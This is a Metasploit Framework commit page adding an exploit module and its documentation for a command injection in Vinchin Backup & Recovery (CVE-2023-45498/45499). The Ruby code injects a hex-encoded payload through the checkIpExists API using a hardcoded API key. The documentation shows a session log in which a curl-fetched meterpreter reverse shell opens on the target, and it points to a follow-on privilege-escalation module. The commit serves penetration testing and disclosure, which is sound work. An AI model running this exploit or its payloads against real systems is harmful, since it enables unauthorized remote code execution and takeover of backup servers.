Skip to content

Commit

Permalink
Land #18542, Vinchin Backup & Recovery Command Injection
Browse files Browse the repository at this point in the history
  • Loading branch information
cdelafuente-r7 committed Dec 20, 2023
2 parents a4d6026 + 1438a88 commit 7ca2565
Show file tree
Hide file tree
Showing 2 changed files with 279 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,170 @@
## Vulnerable Application

This module exploits a vulnerability in Vinchin Backup & Recovery versions 5.0.x, 6.0.x, 6.7.x, and 7.0.x. To prepare the environment:

1. Download Vinchin Backup & Recovery version 5.0.x, 6.0.x, 6.7.x, or 7.0.x.
2. Install the software on a Linux-based server using the downloaded ISO.
3. During the installation, ensure that the network interface is active and configured.
4. After installation, verify that the Vinchin Backup & Recovery service is operational and accessible over the network.

*Note: The module is designed to work with the specified versions. Functionality with other versions has not been confirmed.*

## Verification Steps

1. Install a vulnerable version of Vinchin Backup & Recovery (versions 5.0.x, 6.0.x, 6.7.x, or 7.0.x).
2. Start msfconsole in your Metasploit environment.
3. Do: `use exploit/linux/http/vinchin_backup_recovery_cmd_inject`
4. Set the RHOSTS to the target IP address or hostname.
5. Do: `run`
6. If the target is vulnerable, the exploit will execute the specified payload or command.

## Options

Here are the specific options for the `exploit/linux/http/vinchin_backup_recovery_cmd_inject` module:

#### RHOSTS

- **Description**: Specifies the target address or range of addresses.
- **Default Value**: None. It must be set by the user.

#### RPORT

- **Description**: The port on which the Vinchin Backup & Recovery service is running.
- **Default Value**: 443 (this is not configurable in the default Vinchin Backup & Recovery setup).

#### SSL

- **Description**: Specifies whether to use SSL for the connection.
- **Default Value**: True, as Vinchin typically runs over HTTPS.

#### TARGETURI

- **Description**: The base path to the Vinchin Backup & Recovery application.
- **Default Value**: `/`

#### APIKEY

- **Description**: The hardcoded API key required to authenticate to the API.
- **Default Value**: `6e24cc40bfdb6963c04a4f1983c8af71`

## Scenarios

### Successful Exploitation against Vinchin Backup & Recovery 7.0.1.26282

This scenario demonstrates exploiting the Vinchin Backup & Recovery version 7.0.1.26282 on a Linux server.

**Environment**:
- Vinchin Backup & Recovery 7.0.1.26282
- Linux Server
- Metasploit Framework

**Steps**:

1. Start `msfconsole`.
2. Load the exploit module:
```
use exploit/linux/http/vinchin_backup_recovery_cmd_inject
```
4. Set the required options:
```
set RHOSTS [target IP]
set APIKEY [API Key]
```
5. Optionally set a payload and configure LHOST and LPORT.
6. Execute the exploit:
```
exploit
```

**Expected Output**:

```
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > options
Module options (exploit/linux/http/vinchin_backup_recovery_cmd_inject):
Name Current Setting Required Description
---- --------------- -------- -----------
APIKEY 6e24cc40bfdb6963c04a4f1983c8 yes The hardcoded API key
af71
Proxies no A proxy chain of format type:host:port[,type:host:
port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.co
m/docs/using-metasploit/basics/using-metasploit.ht
ml
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is rando
mly generated)
TARGETURI / yes The base path to the Vinchin Backup & Recovery app
lication
URIPATH no The URI to use for this exploit (default is random
)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an
address on the local machine or 0.0.0.0 to listen on all address
es.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FT
P, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME JSSwiKfcOw no Name to use on remote system when storing pa
yload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /usr/share/nginx/vinchin/ yes Remote writable dir to store payload; cannot
tmp contain spaces.
LHOST 192.168.1.5 yes The listen address (an interface may be spec
ified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > set rhosts 192.168.1.3
rhosts => 192.168.1.3
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > check
[*] Detected Vinchin version: 7.0.1.26282
[+] 192.168.1.3:443 - The target is vulnerable.
msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > exploit
[*] Started reverse TCP handler on 192.168.1.5:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected Vinchin version: 7.0.1.26282
[+] The target is vulnerable.
[*] Sending stage (3045380 bytes) to 192.168.1.3
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.3:58960) at 2023-11-21 02:00:57 +0100
meterpreter > sysinfo
Computer : localhost.localdomain
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```

Note: All instances of this exploit can be subject to privilege escalation using the
`exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` module in the Metasploit environment.
109 changes: 109 additions & 0 deletions modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,109 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Vinchin Backup and Recovery Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Vinchin Backup & Recovery
v5.0.*, v6.0.*, v6.7.*, and v7.0.*. Due to insufficient input validation in the
checkIpExists API endpoint, an attacker can execute arbitrary commands as the
web server user.
},
'License' => MSF_LICENSE,
'Author' => [
'Gregory Boddin (LeakIX)', # Vulnerability discovery
'Valentin Lobstein' # Metasploit module
],
'References' => [
['CVE', '2023-45498'],
['CVE', '2023-45499'],
['URL', 'https://blog.leakix.net/2023/10/vinchin-backup-rce-chain/'],
['URL', 'https://vinchin.com/'] # Vendor URL
],
'DisclosureDate' => '2023-10-26',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'AKA' => ['Vinchin Command Injection']
},
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD],
'Targets' => [
['Automatic', {}]
],

'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'FETCH_WRITABLE_DIR' => '/usr/share/nginx/vinchin/tmp'
},
'Privileged' => false
)
)
register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The base path to the Vinchin Backup & Recovery application', '/']),
OptString.new('APIKEY', [true, 'The hardcoded API key', '6e24cc40bfdb6963c04a4f1983c8af71']),
]
)
end

def exploit
hex_encoded_payload = payload.encoded.unpack('H*').first
formatted_payload = hex_encoded_payload.scan(/../).map { |x| "\\\\x#{x}" }.join

temp_file = "#{datastore['FETCH_WRITABLE_DIR']}/#{Rex::Text.rand_text_alpha(8)}"
command = "echo -e #{formatted_payload}|tee #{temp_file};chmod 777 #{temp_file};#{temp_file};rm #{temp_file}"
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'api/'),
'vars_get' => {
'm' => '30',
'f' => 'checkIpExists',
'k' => datastore['APIKEY']
},
'data' => "p={\"ip\":\"a||#{command}\"}"
})
end

def check
target_uri_path = normalize_uri(target_uri.path, 'login.php')
res = send_request_cgi('uri' => target_uri_path)

return CheckCode::Unknown('Failed to connect to the target.') unless res
return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200

version_pattern = /Vinchin build: (\d+\.\d+\.\d+\.\d+)/
version_match = res.body.match(version_pattern)

unless version_match && version_match[1]
return CheckCode::Unknown('Unable to extract version.')
end

version = Rex::Version.new(version_match[1])
print_status("Detected Vinchin version: #{version}")

if (version >= Rex::Version.new('5.0.0') && version < Rex::Version.new('5.1.0')) ||
(version >= Rex::Version.new('6.0.0') && version < Rex::Version.new('6.1.0')) ||
(version >= Rex::Version.new('6.7.0') && version < Rex::Version.new('6.8.0')) ||
(version >= Rex::Version.new('7.0.0') && version < Rex::Version.new('7.0.2'))
return CheckCode::Appears
else
return CheckCode::Safe
end
end
end

0 comments on commit 7ca2565

Please sign in to comment.